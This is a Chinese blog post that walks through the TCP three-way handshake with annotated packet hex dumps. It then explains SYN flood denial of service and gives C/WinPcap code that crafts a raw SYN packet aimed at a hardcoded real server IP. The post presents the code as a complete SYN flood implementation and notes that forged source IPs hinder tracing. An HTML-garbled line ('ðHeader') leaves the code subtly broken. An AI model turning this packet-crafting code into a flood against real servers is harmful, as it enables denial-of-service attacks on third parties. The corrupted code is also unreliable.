1. 程式人生 > >TCP三次握手報文 例項詳解&&syn flood C/C++ 完整程式碼實現

TCP三次握手報文 例項詳解&&syn flood C/C++ 完整程式碼實現

在TCP/IP協議中,TCP協議提供可靠的連線服務,採用三次握手建立一個連線。

第一次握手:

建立連線時,客戶端傳送syn包到伺服器,並進入SYN_SENT狀態,等待伺服器確認;SYN:同步序列編號(Synchronize Sequence Numbers)。

第二次握手:

伺服器收到syn包,必須確認客戶的SYN,同時自己也傳送一個SYN包),即SYN+ACK包,此時伺服器進入SYN_RECV狀態;

第三次握手:

客戶端收到伺服器的SYN+ACK包,向伺服器傳送確認包ACK(ack=k+1),此包傳送完畢,客戶端和伺服器進入ESTABLISHED狀態,完成三次握手。

完成三次握手,客戶端與伺服器開始傳送資料.

TCP報文結構圖:


以下是我用wireshark抓的自己寫的TCP C/S的三次握手包,三個tcp包(包含了物理幀+IP頭+TCP頭):(這操蛋的排版,我決定忽視這個問題了)

1
0000   48 5b 39 e9 e5 c0 b8 70 f4 1c c3 0808 00 45 00  

        以顏色為單位,分別是物理幀下的目的MAC,源MAC,協議型別(0800是IP協議)


0010   00 34 21 52 40 00 80 06 78 a4 73 9b 3c be73 9b  

        IP段我挑著解釋,畢竟不是本文的重點,若讀者有興趣,可以去看我解釋ICMP的那篇文章

        還是以顏色為單位,傳送者IP(偽造後別人就很難追查了),目的IP

0020  3c d9 0c 2a17 705f 91 fb 71 00 00 00 00 8002  

         源埠(0x0c2a),目的埠,SEQ=5f 91 fb 71 ,ACK=0,02按照上圖知,是syn=1,其它都為0

          所以這個包是一個syn包(syn=1,ack(此處為小寫,表示標誌位)=0)


0030   20 00 6f ab 00 00 02 04 05 b4 01 03 03 02 01 01   

0040   04 02                                          

2
0000   b8 70 f4 1c c3 08 48 5b 39 e9 e5 c0 08 00 45 00
0010   00 34 34 5d 40 00 40 06 a5 99 73 9b 3c d9 73 9b


0020   3c be 17 70 0c 2a 40 39 15 6f5f 91 fb 72 80 12

SEQ=40 3915 6f(是伺服器隨機生成的),ACK(大寫和標誌位的小寫區別開來)=5f 91 fb 72

這裡的ACK是對前一個收到的包的確認,把之前包的SEQ+1, 16進位制的12是18=16+2,所以syn=1,ack=1
0030   20 00 19 ec 00 00 02 04 05 b4 01 03 03 08 01 01            
0040   04 02


3
0000   48 5b 39 e9 e5 c0 b8 70 f4 1c c3 08 08 00 45 00 
0010   00 28 21 53 40 00 80 06 78 af 73 9b 3c be 73 9b 

0020   3c d9 0c 2a 17 70 5f 91 fb 7240 39 15 705010 

       .     SEQ=5f 91 fb 72,ACK=40 39 15 70(收到的上一個包的SEQ+1),10是16,ack=1
0030   40 29 3a 96 00 00                           

總結一下就是:

第一次:seq隨機x,ACK=0,syn=1,ack=0,
第二次:seq隨機y,ACK=X+1,syn=1,ack=1
第三次:seq=x+1,ACK=Y+1,syn=0,ack=1


OK,已分析完.

syn flood 就是不停的去和伺服器某個開啟的埠請求連線,然後伺服器收到後就會給你回一個ACK包,這時如果你回覆一個ACK包,就可以和伺服器建立正常的TCP連線,

當然了你是想攻擊伺服器,所以你不用理它,繼續換個埠(你自己的)再次請求和伺服器建立連線,重複這個過程.

伺服器收到你的請求包之後,興高采烈的在記憶體中分配了一些資源準備和你建立連線,由於你一直不理她,她會等啊等啊,一直到達一個預定的超時時間後,才會堅決的從記憶體中

釋放掉為你準備的資源,徹底忘了你這個傢伙.

只是每臺伺服器的併發連線數(能同時讓多少使用者連線)和資源是有限的,你一直在換埠和她請求連線,伺服器維護的半連線佇列滿了之後就不能為其它使用者提供正常的服務,

這就是拒絕服務Dos了.

所以想要實現syn flood 只需要不停發第一次握手的包就可以了(記得每個包,源埠也就是你的埠都要不一樣)

先把文章放這,等我明天華為面試完了再把程式碼補上來,2014年5月5日 18:36:59

蛋疼,去了才和我說,我是明天那一批的,還不能霸面......

技術面被刷了,因為我一直在和麵試官扯TCP/IP的知識,他說這個和我應聘軟體研發沒有多大關係,回去繼續努力吧,,,

汗,第一次面試沒有經驗,就這樣GG了

以下是程式碼

#include "stdio.h"
#include "winsock2.h"
#pragma comment(lib,"ws2_32.lib")
#include <pcap.h>
#pragma comment(lib,"wpcap.lib")
const char* MYIP="115.155.8.87";//我的IP
const char* DSTIP="202.117.119.1";//伺服器IP

USHORT checksum(USHORT *buffer, int size)//這是檢驗和函式,複製網上的,沒什麼好註釋的
{
	unsigned long cksum=0;
	while(size >1)
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size )
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}

typedef struct  _ethHeader//物理幀
{
	BYTE dMac[6];
	BYTE sMac[6];
	USHORT type;
};
typedef struct _ipHeader//20 位元組的IP頭部
{
	BYTE VerAndH_length;//版本號和頭部長度
	BYTE tos;//優先順序
	USHORT totalLength;
	USHORT id;
	USHORT flagANDfrag;//標識和分片
	BYTE ttl;
	BYTE type;
	USHORT cksum;
	ULONG sIP;
	ULONG dIP;
};
typedef struct _tcpHeader//20 位元組的TCP頭部
{
	USHORT sPort;
	USHORT dPort;
	ULONG seq;
	ULONG ack;
	BYTE h_length;//這個值==長度<<2
	BYTE flag;
	USHORT wsize;//視窗大小
	USHORT cksum;//tcp頭部+偽頭部+data
	USHORT urgpoint;//緊急指標
	BYTE options[12];
};

typedef struct _psdTcp//12位元組的偽TCP頭部
{
	ULONG sAddr;
	ULONG dAddr;
	BYTE x;//設為0即可
	BYTE type;//協議號,一定為6,表示TCP
	USHORT dataLength;//整個TCP長度,包括tcp頭部+偽頭部+data(如果有)
};
void main()
{
	_ethHeader ethHeader;
	_ipHeader ipHeader;
	_tcpHeader tcpHeader;
	_psdTcp psdTcp;

	//物理幀
	//由於資料包是發給別的網段的,所以物理幀接收者是閘道器
	//在我IP是115.155.6.90時,閘道器MAC是 c4-ca-d9-de-dc-f3

	BYTE temp[6]={0xc4,0xca,0xd9,0xde,0xdc,0xf3};//閘道器MAC
	memcpy(ethHeader.dMac,temp,6);
	BYTE temp2[6]={0x68,0xA3,0xC4,0xF2,0x5B,0xFF};
	memcpy(ethHeader.sMac,temp2,6);
	ethHeader.type=0x0008;//這些數值都是直接順著由高到低賦值,00 高 08 低

	//IP頭
	ipHeader.VerAndH_length=0x45;
	ipHeader.tos=0;
	ipHeader.totalLength=htons(52);//IP頭20+TCP頭32
	ipHeader.id=htons(2345);
	ipHeader.flagANDfrag=0;//不分片
	ipHeader.ttl=0x80;
	ipHeader.type=6;//TCP
	ipHeader.cksum=0;
	ipHeader.sIP=inet_addr(MYIP);
	ipHeader.dIP=inet_addr(DSTIP);
	ipHeader.cksum=checksum((USHORT*)&ipHeader,sizeof(ipHeader));

	//TCP
	tcpHeader.sPort=htons(1095);//賦值最好用htons 函式,不然高低位是反的
	tcpHeader.dPort=htons(80);
	tcpHeader.seq=0xa5dd24ee;
	tcpHeader.ack=0;
	tcpHeader.h_length=32<<2;//32個位元組
	tcpHeader.flag=2;//syn
	tcpHeader.wsize=htons(8192);
	tcpHeader.cksum=0;
	tcpHeader.urgpoint=0;
	byte tempdata[12]={0x02,0x04,0x05,0xb4,
		0x01,0x03,0x03,0x02,0x01,0x01,0x04,0x02};
	memcpy(tcpHeader.options,tempdata,12);

	psdTcp.sAddr=inet_addr(MYIP);
	psdTcp.dAddr=inet_addr(DSTIP);
	psdTcp.type=6;//協議型別,6為TCP
	psdTcp.x=0;
	psdTcp.dataLength=htons(32);//TCP長度,包括頭部和資料

	//先將TCP組合起來,計算校驗和,將偽IP頭放在TCP前面
	UCHAR buf_tcp[100];
	int psdSize=sizeof(psdTcp);//12
	memcpy(buf_tcp,&psdTcp,psdSize);
	memcpy(buf_tcp+psdSize,&tcpHeader,sizeof(tcpHeader));
	psdSize+=sizeof(tcpHeader);
	tcpHeader.cksum=checksum((USHORT*)buf_tcp,psdSize);//計算TCP的校驗和

	//合併資料包
	u_char buf[100];
	int len=0;
	memcpy(buf,ðHeader,sizeof(ethHeader));
	len+=sizeof(ethHeader);
	memcpy(buf+len,&ipHeader,sizeof(ipHeader));
	len+=sizeof(ipHeader);
	memcpy(buf+len,&tcpHeader,sizeof(tcpHeader));
	len+=sizeof(tcpHeader);

	pcap_if_t* alldevs;//以下是利用winpcap傳送資料包,就那麼幾個函式,反正寫了也沒人看,就不註釋了
	char err[1000];    //要是讀者有疑問,可以留言,我看到就回
	pcap_findalldevs(&alldevs,err);
	char* name;
	name=alldevs->name;//無線網,我是筆記本,所以排在第一的是無線網絡卡
	//name=alldevs->next->name;//乙太網
	pcap_t * fp;
	fp=pcap_open(name,100,PCAP_OPENFLAG_PROMISCUOUS,1000,NULL,err);
	//for(int i=5;i>0;i--)
	pcap_sendpacket(fp,buf,len);
	pcap_close(fp);
	pcap_freealldevs(alldevs);
}

結果截圖:

第一個包是我發的,第二個是伺服器返回的,

2014年5月9日 19:36:27